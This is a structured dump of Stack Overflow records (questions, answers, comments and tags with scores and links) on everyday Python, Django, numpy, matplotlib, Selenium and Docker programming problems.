table in json. I appreciate any help;)
has comment: http://stackoverflow.com/comment/84533387
tagged with: python

http://stackoverflow.com/q/48738971
favorite count: 0
score: -3
has title: Packing Python code into executables
has comment: http://stackoverflow.com/comment/84477727
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48739938
tagged with: executable
downvote count: 3
has body: Situation: Problems importing Python modules due to some compatibility issues with the SBC I am working on. Looking to compiling them into executables. Problem: I am not very familiar with how the compiling process works. Question 1: Does compiling a Python code into an executable packs ALL its dependencies into the executable? I.e. am I able to run the exact same code on a different computer with no Python installed? Question 2: Can I import a Python executable as if it is a module and use its functions? Question 3: Can I pack a Built in Python module into an executable and have it run if Question 2's answer is "yes"?
accepted answer: http://stackoverflow.com/a/48739938
type: Question
has comment: http://stackoverflow.com/comment/84477720
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84477669
has comment: http://stackoverflow.com/comment/84479410
tagged with: python
has comment: http://stackoverflow.com/comment/84477657

http://stackoverflow.com/comment/84573720
has text: url(r'^adm/dsctbl2/', admviews.dsctbl2, name='dsctbl2'),
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48785229
type: AnswerComment

http://stackoverflow.com/a/48723160
type: Answer
has body: You want a multiset. &gt;&gt;&gt; from multiset import Multiset # pip install multiset &gt;&gt;&gt; Multiset(['car', 'dog']) &lt;= Multiset(['car', 'cart', 'dog']) True &gt;&gt;&gt; Multiset(['car', 'dog', 'dog']) &lt;= Multiset(['car', 'cart', 'dog']) False collections.Counter is the standard library multiset, but until v3.10 it lacked the subset operator &lt;=, so if you want to stick to standard library on Python &lt; 3.10 then you will have to write the loop yourself rather than use set operations. &gt;&gt;&gt; from collections import Counter &gt;&gt;&gt; counter1 = Counter(['car', 'dog']) &gt;&gt;&gt; counter2 = Counter(['car', 'cart', 'dog']) &gt;&gt;&gt; all(counter1[k] &lt;= counter2[k] for k in counter1) True
upvote count: 3
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/48723057
has comment: http://stackoverflow.com/comment/126816845
has comment: http://stackoverflow.com/comment/126817039

http://stackoverflow.com/q/48728504
has comment: http://stackoverflow.com/comment/84460706
has answer: http://stackoverflow.com/a/48728554
has comment: http://stackoverflow.com/comment/84456048
accepted answer: http://stackoverflow.com/a/48728554
upvote count: 2
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84460694
tagged with: python
linked to: http://stackoverflow.com/q/3750632
type: AnsweredQuestion
score: 2
has body: I am printing the list variable as: lst=("Python",)*3 print(lst) lst=("Python")*3 print(lst) and the output is ('Python', 'Python', 'Python') PythonPythonPython Definitely the output is different due to the comma(,) used in the first print statement. But the first statement does not have two values either. Can someone describe the technical reason behind this?
has title: Query on the below Python Output
downvote count: 0
has comment: http://stackoverflow.com/comment/84456011
has comment: http://stackoverflow.com/comment/84455980
type: Question

http://stackoverflow.com/a/55337782
has comment: http://stackoverflow.com/comment/127442392
upvote count: 13
downvote count: 1
answers question: http://stackoverflow.com/q/48665001
score: 12
has body: You can wait until the element gone, WebDriverWait wait = new WebDriverWait(driver, 30); wait.until(ExpectedConditions.invisibilityOfElementLocated(By.className("loadingWhiteBox")));
type: Answer

http://stackoverflow.com/a/77437361
type: Answer
score: 8
downvote count: 0
upvote count: 8
has comment: http://stackoverflow.com/comment/137035117
has comment: http://stackoverflow.com/comment/137156846
has body: I came with an updated answer. To get current status of all compose services, you can use docker compose ps comand like this (I choose the easiest formatting to manipulate it in a script context, feel free to read the format doc) : docker compose ps --format "{{.Service}} {{.State}}" This way you should get something like : service1 running service2 paused Status can be one of [paused | restarting | removing | running | dead | created | exited] NB : If you only want to know which of your services are running, simply add a filter on status like this : docker compose ps --services --status=running To get service1 I give you my makefile script if you need it : status: ## Show status of services ✔ @echo "`docker compose ps --all --format "#{{.State}}# \033[36m{{.Service}}\033[0m" | sed -e 's/#running#/✅/' | sed -r 's/#[a-z]+#/❌/'`"
answers question: http://stackoverflow.com/q/48783546

http://stackoverflow.com/a/48720270
has comment: http://stackoverflow.com/comment/84439479
has body: Your route is /getlocation/&lt;postcode&gt;, not /getlocation?postcode=&lt;postcode&gt;.
answers question: http://stackoverflow.com/q/48720210
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/84444732
has comment: http://stackoverflow.com/comment/84439709
score: 1
has comment: http://stackoverflow.com/comment/84444858
downvote count: 0

http://stackoverflow.com/a/48668311
has comment: http://stackoverflow.com/comment/84334584
has comment: http://stackoverflow.com/comment/84334786
has comment: http://stackoverflow.com/comment/84334773
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84334758
has comment: http://stackoverflow.com/comment/84334622
has body: Why do you have self as a parameter to the function? That's for methods on class instances, this is not a method. Remove that argument and just use check_names() to call it.
has comment: http://stackoverflow.com/comment/84335116
answers question: http://stackoverflow.com/q/48668217

http://stackoverflow.com/q/48794034
upvote count: 2
type: Question
has title: assert not working as expected
has answer: http://stackoverflow.com/a/48794035
tagged with: transcrypt
accepted answer: http://stackoverflow.com/a/48794035
answer count: 1
downvote count: 0
has body: Here is the python code I transcrypted with transcrypt -b -n -m (version 3.6.84) : def test_1(): console.log('before assert') assert False, "False fails" console.log('we should not see that if assert fails as expected') def test_2(): console.log('before assert') try: assert False, "False fails" except AssertionError as exception: console.log('we should see that since we catch the assertion error') console.log('after assert') When I run test_1/test_2 in the browser console, I get a strange behavior : &gt; mymodule.test_1() before assert we should not see that if assert fails as expected &lt;- undefined &gt; mymodule.test_2() before assert after assert &lt;- undefined Why no exception are raised with assert ?
favorite count: 0
tagged with: python
score: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/84458284
type: Comment
comment on: http://stackoverflow.com/q/48720388
has text: So may I formulate an answer?
score: 0
type: QuestionComment

http://stackoverflow.com/q/48798703
has body: I am trying to create a simple app with PyQt5 and I want to show a google map web page. I would like to show a marker that appear on the map in a location that depends on some variables modified by the user in python. How can I do that using runJavascript? here is the html file: Click and drag the marker. Current position: Here the PyQt5 gui: from PyQt5 import QtCore, QtGui, QtWidgets class Ui_tmy3page(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(900, 620) MainWindow.setMinimumSize(QtCore.QSize(900, 620)) MainWindow.setMaximumSize(QtCore.QSize(900, 620)) MainWindow.setWindowTitle("") self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.html_code = QtWebEngineWidgets.QWebEngineView(self.centralwidget) self.html_code.setGeometry(QtCore.QRect(0, 0, 901, 621)) self.html_code.setUrl(QtCore.QUrl("about:blank")) self.html_code.setObjectName("html_code") MainWindow.setCentralWidget(self.centralwidget) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): pass from PyQt5 import QtWebEngineWidgets And here the Python code: import sys from PyQt5.QtWidgets import * from GUI_tmy3 import * class ShowMap_fun(QMainWindow): def __init__(self): super().__init__() self.map_ui = Ui_tmy3page() self.map_ui.setupUi(self) self.map_ui.html_code.load(QtCore.QUrl.fromLocalFile(QtCore.QDir.current().filePath("useless.html"))) if __name__ == '__main__': app = QApplication(sys.argv) ex = ShowMap_fun() ex.show() sys.exit(app.exec_()) I was thinking to modify the Initialize function in the Html file this way: function initialize(lat_init, long_init) { var latLng = new google.maps.LatLng(lat_init, long_init); And then pass the coordinates from the Python code: argument_init = "initialize('" + str(40) + "','" + str(-111) + "')" self.map_ui.html_code.page().runJavaScript(argument_init) But this doesn't seem to work. How can I access t…
type: AnsweredQuestion
score: 1
has title: Update Goole Maps Marker position with Python 'runJavascript' input
accepted answer: http://stackoverflow.com/a/48799776
type: Question
downvote count: 0
tagged with: qwebengineview
answer count: 1
tagged with: javascript
favorite count: 0
tagged with: google-maps-markers
has answer: http://stackoverflow.com/a/48799776
tagged with: pyqt5
upvote count: 1
tagged with: python

fractions
type: Tag
tags question: http://stackoverflow.com/q/48707089
tag name: fractions

http://stackoverflow.com/q/48753228
has answer: http://stackoverflow.com/a/48753555
type: Question
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/75916085
has title: module 'matplotlib.pyplot' has no attribute 'tight_layout'
has body: For some reason the tight_layout() function from pyplot stopped working on machine. I've been using it in one of my programs for months and its decided to stop working out of the blue (I realize I probably made an accidental change somewhere that's caused this but I don't know where it would be). Any other matplotlib or pyplot function works a-okay, but whenever I call tight_layout I get module 'matplotlib.pyplot' has no attribute 'tight_layout' Which is obviously not true. For example, even this code coming from the offical tight_layout guide (https://matplotlib.org/users/tight_layout_guide.html) from matplotlib import pyplot as plt plt.rcParams['savefig.facecolor'] = "0.8" def example_plot(ax, fontsize=12): ax.plot([1, 2]) ax.locator_params(nbins=3) ax.set_xlabel('x-label', fontsize=fontsize) ax.set_ylabel('y-label', fontsize=fontsize) ax.set_title('Title', fontsize=fontsize) plt.close('all') fig, ax = plt.subplots() example_plot(ax, fontsize=24) plt.tight_layout() will produce the error. I've reinstalled the matplotlib package a couple times and reinstalled my IDE (Spyder) to no avail. I'm pretty clueless at this point so any input would be great.
type: UnansweredQuestion
tagged with: python
tagged with: plot
tagged with: matplotlib

http://stackoverflow.com/comment/84397652
type: Comment
has text: Below is the output ['cc', 'dd'] None Why I am getting 'none' at the last ?
comment on: http://stackoverflow.com/a/48699544
score: 0
type: AnswerComment

http://stackoverflow.com/q/48722010
has answer: http://stackoverflow.com/a/48722258
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
has body: I have a Python numpy array like this Let's call it my_numpy_array And can go up to a million values! &gt;&gt;&gt; my_numpy_array array([[1, 0, 0, 0, 0, 0, 1, 0], [1, 1, 0, 0, 0, 0, 1, 1], [1, 1, 0, 0, 0, 0, 1, 0], . . . . . . . . . . . . . . . . . . . . . . . . [0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 1, 0, 0, 0, 1, 1]]) and another numpy array like this call it second_array ,(which is not so huge) array([[1, 1, 1, 0, 0, 0, 0, 1], #row 1 [1, 1, 0, 0, 0, 0, 1, 0], #row 2 [1, 1, 1, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 0, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 0, 0, 0, 0, 1], [1, 1, 0, 0, 0, 0, 1, 0], ....................... #row 9 [1, 1, 1, 0, 0, 0, 0, 1]]) #can be any number of ROWS!!! I want to XOR these 9 (this is X..i.e can be any number) rows with every 9 rows in my_numpy_array. I tried working around with np.logical_xor() but could'nt do what I wanted! Also note if the number of rows in my_numpy_arr is not a multiple of 9 (i.e X) say the no of rows is 2701.. for the first 2700 no problem! but the last one will be XOR-ed with only the first one from the second_array if it was 2702 then only the first two rows from the second_array.. Any help much appreciated! Thanks
tagged with: python
type: Question
tagged with: numpy
has title: How to perform XOR operations on every X consecutive rows numpy Python
has answer: http://stackoverflow.com/a/48722677
tagged with: arrays
upvote count: 2
score: 0
answer count: 2
downvote count: 2

http://stackoverflow.com/comment/84305165
comment on: http://stackoverflow.com/q/48653466
score: 0
type: Comment
type: QuestionComment
has text: `float (taxsum = check / 4)` → `taxsum = float(check) / 4`

seaborn
tags question: http://stackoverflow.com/q/48757154
tags question: http://stackoverflow.com/q/48662448
tags question: http://stackoverflow.com/q/48647869
tags question: http://stackoverflow.com/q/48728549
tag name: seaborn
tags question: http://stackoverflow.com/q/48658064
tags question: http://stackoverflow.com/q/48676312
tags question: http://stackoverflow.com/q/48797583
tags question: http://stackoverflow.com/q/48795977
tags question: http://stackoverflow.com/q/48694620
tags question: http://stackoverflow.com/q/48672688
tags question: http://stackoverflow.com/q/48708862
tags question: http://stackoverflow.com/q/48803619
type: Tag
tags question: http://stackoverflow.com/q/48764205

http://stackoverflow.com/q/48793270
answer count: 1
has comment: http://stackoverflow.com/comment/84593877
has answer: http://stackoverflow.com/a/48793722
tagged with: beautifulsoup
has title: List appending and web crawling difficulty in python
has comment: http://stackoverflow.com/comment/84591829
tagged with: python
has body: I am facing a difficulty in parsing the population count and appending it to a list from bs4 import * import requests def getPopulation(name): url="http://www.worldometers.info/world-population/"+name+"-population/" data=requests.get(url) soup=BeautifulSoup(data.text,"html.parser") #print(soup.prettify()) x=soup.find_all('div',{"class":"col-md-8 country-pop-description"}) y=x[0].find_all('strong') result=y[1].text return result def main(): no=input("Enter the number of countries : ") Map=[] for i in range(0,int(no)): country=input("Enter country : ") res=getPopulation(country) Map.append(res) print(Map) if __name__ == "__main__": main() The function works fine if i run it separately by passing a country name such as "india" as a parameter but shows an error when i compile it in this program.I am a beginner in python so sorry for the silly mistakes if any present. Traceback (most recent call last): File "C:/Users/Latheesh/AppData/Local/Programs/Python/Python36/Population Graph.py", line 24, in &lt;module&gt; main() File "C:/Users/Latheesh/AppData/Local/Programs/Python/Python36/Population Graph.py", line 19, in main res=getPopulation(country) File "C:/Users/Latheesh/AppData/Local/Programs/Python/Python36/Population Graph.py", line 10, in getPopulation y=x[0].find_all('strong') IndexError: list index out of range
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84588981
accepted answer: http://stackoverflow.com/a/48793722
type: Question
has comment: http://stackoverflow.com/comment/84588946
tagged with: web-crawler
score: 0

http://stackoverflow.com/comment/84591463
type: QuestionComment
has text: @Yu-Yang: I am using keras from tensorflow.python.keras with Tensorflow 1.4.0. I Just tried it on another machine using the same Tensorflow version, on that machine `on_epoch_end` also appears at the right place, using flush=True also fixed the output on my first machine! Thank you very much!!!
score: 2
comment on: http://stackoverflow.com/q/48782213
type: Comment

http://stackoverflow.com/q/48716072
score: 2
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84452058
type: UnansweredQuestion
has body: TF community -- So I have trained a TensorFlow model using simple MNIST data. I'm using Keras' load_model in a Python script to pull it up and model.predict() to feed images to the model (once the data is properly transformed) so it can make predictions. This works well when running predict.py from the command line with various examples. But my goal is to web app-ify this prediction script so I can ping it from other apps. It was fairly easy to spin up a Django app and cause predict.py to run whenever a certain URL endpoint was hit. Given a random MNIST image sent in a POST request, the app will (usually correctly) make a prediction the first time, which I can see in the server logs in square brackets: 2018-02-09 17:49:40.639847: I C:\tf_jenkins\workspace\rel-win\M\windows-gpu\PY\35\tensorflow\core\common_runtime\gpu\gpu_device.cc:1195] Creating TensorFlow d evice (/device:GPU:0) -&gt; (device: 0, name: GeForce GTX 1080 Ti, pci bus id: 0000:01:00.0, compute capability: 6.1) [5] [09/Feb/2018 17:49:43] "POST /predict/ HTTP/1.1" 200 1 Then, without fail, all subsequent posts generate errors until I restart the server with python manage.py runserver. I usually get several overlapping exceptions to this where it doesn't like various some placeholder values - but to my knowledge I'm never setting that stuff - it's all Keras, right? ValueError: Tensor Tensor("Placeholder_2:0", shape=(3, 3, 32, 64), dtype=float32) is not an element of this graph. Here's the script - it's very simple. For the sake of argument I am even removing the web request image, and just trying to run predictions on the same locally-stored image. Again, works once, then errors: def index(request): model = load_model('C:\\Users\\james\\PycharmProjects\\karas-test\\my_model.h5') # get image out of request object im = cv2.imread("C:\\Users\\james\\PycharmProjects\\karas-test\\5.png",0) # cv2.imshow('ImageWindow', im) # cv2.waitKey() im = im/255 im = numpy.expand_dims(im, axis=0) probs = model.predict(im.re…
tagged with: machine-learning
tagged with: django
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/84452939
has comment: http://stackoverflow.com/comment/84453666
type: Question
downvote count: 0
tagged with: keras
favorite count: 0
has title: Keras/TF trained model works as Django app once, then returns value errors
linked to: http://stackoverflow.com/q/44871516
tagged with: python

http://stackoverflow.com/a/48737070
has comment: http://stackoverflow.com/comment/84475145
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84479657
has comment: http://stackoverflow.com/comment/84475446
answers question: http://stackoverflow.com/q/48736767
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/84474841
has body: titles_element = driver.find_elements_by_xpath("//span[@class='ng-binding']") titles = [x.text for x in titles_element] titles = [] for x in titles_element: titles.append(x.text) print(titles) The Gorgeous Geodes Glowed is the text that appears after the span class is Identified. So every time this class appears it will print out the following text.

http://stackoverflow.com/comment/84446330
has text: You *wouldn't* want a do-nothing instance; that's why multiple people have told you to just define two functions instead of a class in the first place. You aren't doing anything that requires, or can even make use of, a class.
score: 0
comment on: http://stackoverflow.com/a/48721040
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48754467
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/50785046
tagged with: mathematical-optimization
score: 7
has answer: http://stackoverflow.com/a/50717404
has body: I am trying to create a neural network in Tensorflow that approximates a sine function. I have found some examples of universal function approximators but I am not fully understanding the code and, since I am quite new with Tensorflow, I would like to code it myself to understand every step. This is my code: import tensorflow as tf import numpy as np import math, random import matplotlib.pyplot as plt # Create the arrays x and y that contains the inputs and the outputs of the function to approximate x = np.arange(0, 2*np.pi, 2*np.pi/1000).reshape((1000,1)) y = np.sin(x) # plt.plot(x,y) # plt.show() # Define the number of nodes n_nodes_hl1 = 100 n_nodes_hl2 = 100 # Define the number of outputs and the learn rate n_classes = 1 learn_rate = 0.1 # Define input / output placeholders x_ph = tf.placeholder('float', [None, 1]) y_ph = tf.placeholder('float') # Routine to compute the neural network (2 hidden layers) def neural_network_model(data): hidden_1_layer = {'weights': tf.Variable(tf.random_normal([1, n_nodes_hl1])), 'biases': tf.Variable(tf.random_normal([n_nodes_hl1]))} hidden_2_layer = {'weights': tf.Variable(tf.random_normal([n_nodes_hl1, n_nodes_hl2])), 'biases': tf.Variable(tf.random_normal([n_nodes_hl2]))} output_layer = {'weights': tf.Variable(tf.random_normal([n_nodes_hl2, n_classes])), 'biases': tf.Variable(tf.random_normal([n_classes]))} # (input_data * weights) + biases l1 = tf.add(tf.matmul(data, hidden_1_layer['weights']), hidden_1_layer['biases']) l1 = tf.nn.relu(l1) l2 = tf.add(tf.matmul(l1, hidden_2_layer['weights']), hidden_2_layer['biases']) l2 = tf.nn.relu(l2) output = tf.add(tf.matmul(l2, output_layer['weights']), output_layer['biases']) return output # Routine to train the neural network def train_neural_network(x_ph): prediction = neural_network_model(x_ph) cost = tf.reduce_mean(tf.square(prediction - y_ph)) optimizer = tf.train.GradientDescentOptimizer(learn_rate).minimize(cost) # cycles feed forward + backprop hm_epochs = 10 with tf.Session() a…
tagged with: tensorflow
type: Question
has title: Function approximation Tensorflow
tagged with: neural-network
answer count: 2
downvote count: 2
favorite count: 0
upvote count: 9
tagged with: approximation

http://stackoverflow.com/q/48790378
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/84583935
has comment: http://stackoverflow.com/comment/84585201
has body: Consider this simple example import pandas as pd import numpy as np import matplotlib.pyplot as plt from matplotlib.ticker import FuncFormatter import matplotlib.dates as mdates pd.__version__ Out[147]: u'0.22.0' idx = pd.date_range('2017-01-01 05:03', '2017-01-01 18:03', freq = 'min') df = pd.Series(np.random.randn(len(idx)), index = idx) df.head() Out[145]: 2017-01-01 05:03:00 0.4361 2017-01-01 05:04:00 0.9737 2017-01-01 05:05:00 0.8430 2017-01-01 05:06:00 0.4292 2017-01-01 05:07:00 0.5739 Freq: T, dtype: float64 I want to plot this, and have ticks every hour. I use: fig, ax = plt.subplots() hours = mdates.HourLocator(interval = 1) # h_fmt = mdates.DateFormatter('%H:%M:%S') df.plot(ax = ax, color = 'black', linewidth = 0.4) ax.xaxis.set_major_locator(hours) ax.xaxis.set_major_formatter(h_fmt) which gives why dont the ticks appear every hour here? Thanks for your help!
linked to: http://stackoverflow.com/q/45704366
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84583989
has comment: http://stackoverflow.com/comment/84583671
has answer: http://stackoverflow.com/a/66342300
accepted answer: http://stackoverflow.com/a/48791644
has comment: http://stackoverflow.com/comment/84583522
upvote count: 28
tagged with: pandas
has title: How to get ticks every hour
downvote count: 0
possible better answer: http://stackoverflow.com/a/66342300
score: 28
favorite count: 0
has comment: http://stackoverflow.com/comment/84584641
tagged with: python
has comment: http://stackoverflow.com/comment/84583614
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48791644

http://stackoverflow.com/comment/84442964
score: 0
type: AnswerComment
type: Comment
has text: I'm not sure I can map out your code this way. Can you edit your question with the code you're referring to?
comment on: http://stackoverflow.com/a/48720674

http://stackoverflow.com/q/48711925
tagged with: python
linked to: http://stackoverflow.com/q/3061
has body: I'm trying to include a function in my terminal program (in python) that does the following: Takes a command - checks if it actually is a command - if it is, run it - if it's not, treat it as function. Like so; else: try: print("Navigating...") (input)() as in, it would then try to go to def (input): How can I get this to work?
has comment: http://stackoverflow.com/comment/84422909
has title: Call method named by user input
score: 0
duplicate of: http://stackoverflow.com/q/3061
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84422997
type: Question

http://stackoverflow.com/comment/84424995
type: QuestionComment
comment on: http://stackoverflow.com/q/48712263
has text: I think this the fasted way to get the complement of a variable_scope. What's wrong with your solution?
score: 0
type: Comment

http://stackoverflow.com/a/48781317
has comment: http://stackoverflow.com/comment/84582851
upvote count: 2
has body: You have to set proxies as you are inside firewall and installing files form outside firewall. Ubuntu: export http_proxy="http://&lt;&lt;username&gt;&gt;:&lt;&lt;password&gt;&gt;@&lt;&lt;proxy server&gt;&gt;:&lt;&lt;proxy_port&gt;&gt;" export https_proxy="https://&lt;&lt;username&gt;&gt;:&lt;&lt;password&gt;&gt;@&lt;&lt;proxy server&gt;&gt;:&lt;&lt;proxy_port&gt;&gt;" Windows: set HTTP_PROXY=http://&lt;&lt;username&gt;&gt;:&lt;&lt;password&gt;&gt;@&lt;&lt;proxy server&gt;&gt;:&lt;&lt;proxy_port&gt;&gt; set HTTPS_PROXY=https://&lt;&lt;username&gt;&gt;:&lt;&lt;password&gt;&gt;@&lt;&lt;proxy server&gt;&gt;:&lt;&lt;proxy_port&gt;&gt;
answers question: http://stackoverflow.com/q/48780135
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84583147

http://stackoverflow.com/comment/119279186
has text: If you write `df.groupby(['A','B'])"B".agg('count')` you don't need to do the `.to_frame` - This will return a DataFrame instead of a series.
type: AnswerComment
comment on: http://stackoverflow.com/a/48770057
score: 0
type: Comment

http://stackoverflow.com/q/48758777
has comment: http://stackoverflow.com/comment/84518505
tagged with: django-forms
duplicate of: http://stackoverflow.com/q/16589069
type: Question
has body: I'm having difficulty in using django's generic relation and forms. I'm using crispyforms to render my the html. Here's the error that i get. Not sure why it's looking for content_type_id every time i save a record. I tried creating new a new company record using the admin panel and it works. This error only comes out when I use crispy form null value in column "content_type_id" violates not-null constraint Below is my code. Forms.py ` class CompanyFormHelper(FormHelper): form_tag = False render_required_fields = True disable_csrf = True render_required_fields = False layout = Layout( Fieldset( _('Company'), Div(InlineField('name'), css_class='col-sm-12'), Div(InlineField('email'), css_class='col-sm-12'), Div(InlineField('phone'), css_class='col-xs-6'), Div(InlineField('type'), css_class='col-xs-6'), Div(InlineField('is_partner'), css_class='col-xs-6'), Div(InlineField('is_company'), css_class='col-xs-6'), Row( Formset('company_location_form', 'company_location_form_helper'), ), Submit('submit','Submit'), ), ) class CompanyForm(ModelFormBase): def __init__(self,*args,**kwargs): super().__init__(*args,**kwargs) self.helper = CompanyFormHelper() class Meta: model = Company fields = ('name','email','phone','type','is_partner','is_company') widgets = {} class CompanyLocationFormsHelper(FormHelper): form_tag = False disable_csrf = True layout = Layout( Fieldset( _('Company Address'), Div(InlineField('line_first'), css_class='col-sm-12'), Div(InlineField('line_second'), css_class='col-sm-12'), Div(InlineField('city'), css_class='col-xs-6'), Div(InlineField('province'), css_class='col-xs-6'), Div(InlineField('postal_code'), css_class='col-xs-6'), Div(InlineField('country'), css_class='col-xs-6'), ), ) # template = 'is_portal/core/crispy_form/table_inline_formset.html' render_required_fields = True class CompanyLocationForm(ModelFormBase): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.helper = CompanyLocationFormsHelper() class Meta: model = Ad…
score: 0
has title: null value in column "content_type_id" violates not-null constraint
type: UnansweredQuestion
tagged with: django
has comment: http://stackoverflow.com/comment/84518613
tagged with: python
has comment: http://stackoverflow.com/comment/84518555
linked to: http://stackoverflow.com/q/16589069
answer count: 0

http://stackoverflow.com/q/48733642
tagged with: flask-restful
has answer: http://stackoverflow.com/a/48733680
downvote count: 0
answer count: 1
tagged with: flask
favorite count: 0
tagged with: python
type: AnsweredQuestion
has body: Whilst using Flask can one return a set as a json response from a rest endpoint? For example: @app.route('/test') def test(): list = [1, 1, 1, 1, 2, 2, 2, 2, 3, 4, 4] unique_list = set(list) return json.dumps(unique_list) I've tried this and get the following error: TypeError: unhashable type: 'list' I've also tried turning the set back into a list and returning that instead. However I am faced with the same error as above. Any ideas?
accepted answer: http://stackoverflow.com/a/48733680
upvote count: 3
has comment: http://stackoverflow.com/comment/84466513
type: Question
score: 3
has comment: http://stackoverflow.com/comment/84466935
has title: Flask: Is it possible to return a set as a JSON response
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/a/48719668
has comment: http://stackoverflow.com/comment/84703302
upvote count: 2
has body: You can use NumPy, if the conversion to an NumPy array itself does not count: import numpy as np a = np.array(l) %timeit np.sum(a &lt; 0.5) 1.28 ms ± 48.7 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each) Even taking the conversion into account makes it significantly faster: %%timeit a = np.array(l) np.sum(a &lt; 0.5) 27.2 ms ± 433 µs per loop (mean ± std. dev. of 7 runs, 10 loops each) Compared to the pure Python versions on my machine. from random import random l = [random() for i in range(1000000)] %timeit len([None for x in l if x &lt; 0.5]) %timeit len([x for x in l if x &lt; 0.5]) %timeit sum(1 for x in l if x &lt; 0.5) %timeit sum(x &lt; 0.5 for x in l) 46.4 ms ± 941 µs per loop (mean ± std. dev. of 7 runs, 10 loops each) 48.1 ms ± 1.25 ms per loop (mean ± std. dev. of 7 runs, 10 loops each) 59.5 ms ± 811 µs per loop (mean ± std. dev. of 7 runs, 10 loops each) 103 ms ± 1.49 ms per loop (mean ± std. dev. of 7 runs, 10 loops each)
type: Answer
has comment: http://stackoverflow.com/comment/84690687
answers question: http://stackoverflow.com/q/48719577
score: 2
has comment: http://stackoverflow.com/comment/84439202
has comment: http://stackoverflow.com/comment/84438988
downvote count: 0
has comment: http://stackoverflow.com/comment/84695584
has comment: http://stackoverflow.com/comment/84438825

peewee
tag name: peewee
type: Tag
tags question: http://stackoverflow.com/q/48767396
tags question: http://stackoverflow.com/q/48733120
tags question: http://stackoverflow.com/q/48699012
tags question: http://stackoverflow.com/q/48776346

http://stackoverflow.com/a/48698499
type: Answer
answers question: http://stackoverflow.com/q/48698369
score: 2
has comment: http://stackoverflow.com/comment/84437214
downvote count: 0
upvote count: 2
has body: I don't know exactly what you're trying to do, but I would recommend using a recursive function, something like this: def recurse(n): while z[n] &lt;= D(n): if z[n+1] &gt;= z[n]: if Fractionate(n+1) &gt; 0: return recurse(n+1) else: return base value recurse(0)

http://stackoverflow.com/q/48728027
answer count: 1
accepted answer: http://stackoverflow.com/a/48728035
has body: I am attempting to find a way to sort a list of strings in Python. The challenge I'm facing is that I want to sort them only based on the numbers in the first line of each string which themselves are separated into multiple levels. An example of a list would look like this: interfaces_list = [ 'int Eth4/3/2\n more stuff', 'int Eth3/33\n more stuff', 'int Eth1/48\n more stuff', 'int Eth4/21/1\n more stuff', 'int Eth5/7\n more stuff', 'int Eth4/3/1\n more stuff' ] For the sorting, I'd like to ignore the 'int Eth' prefix for each string and sort only based on the numbers. This also needs to be done for each level. So sorting based on the first number, then the second number, then (if present), the third number. In the end, I would like to end up with this: interfaces_list_sorted = [ 'int Eth1/48\n more stuff', 'int Eth3/33\n more stuff', 'int Eth4/3/1\n more stuff', 'int Eth4/3/2\n more stuff', 'int Eth4/21/1\n more stuff', 'int Eth5/7\n more stuff' ] Thank you for your help!
tagged with: python-3.x
tagged with: python
has comment: http://stackoverflow.com/comment/84455020
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/48728035
type: Question
has comment: http://stackoverflow.com/comment/84455121
tagged with: sorting
has title: Sorting a list of strings of letters and numbers based on variable length number at multiple levels in Python
score: 0
has comment: http://stackoverflow.com/comment/84463895

http://stackoverflow.com/comment/84361340
comment on: http://stackoverflow.com/q/48682011
type: QuestionComment
type: Comment
score: 1
has text: I'll give you a hint about knowing if a number is already on the board or not, You can use the `in` keyword. E.g. `if number in board: print "Number [{}] has already been used.".format(number)`

http://stackoverflow.com/comment/84343688
type: Comment
has text: The updated answer cuts loop nesting. Because you want to use different scores and they have to be fed in a function that accepts only one array and one score you probably can't avoid the single loop.
type: AnswerComment
comment on: http://stackoverflow.com/a/48654700
score: 0

large-files
tags question: http://stackoverflow.com/q/48660872
type: Tag
tag name: large-files

http://stackoverflow.com/q/48756178
type: Question
has title: from django.contrib.auth.models import User
linked to: http://stackoverflow.com/q/39723310
has answer: http://stackoverflow.com/a/50659521
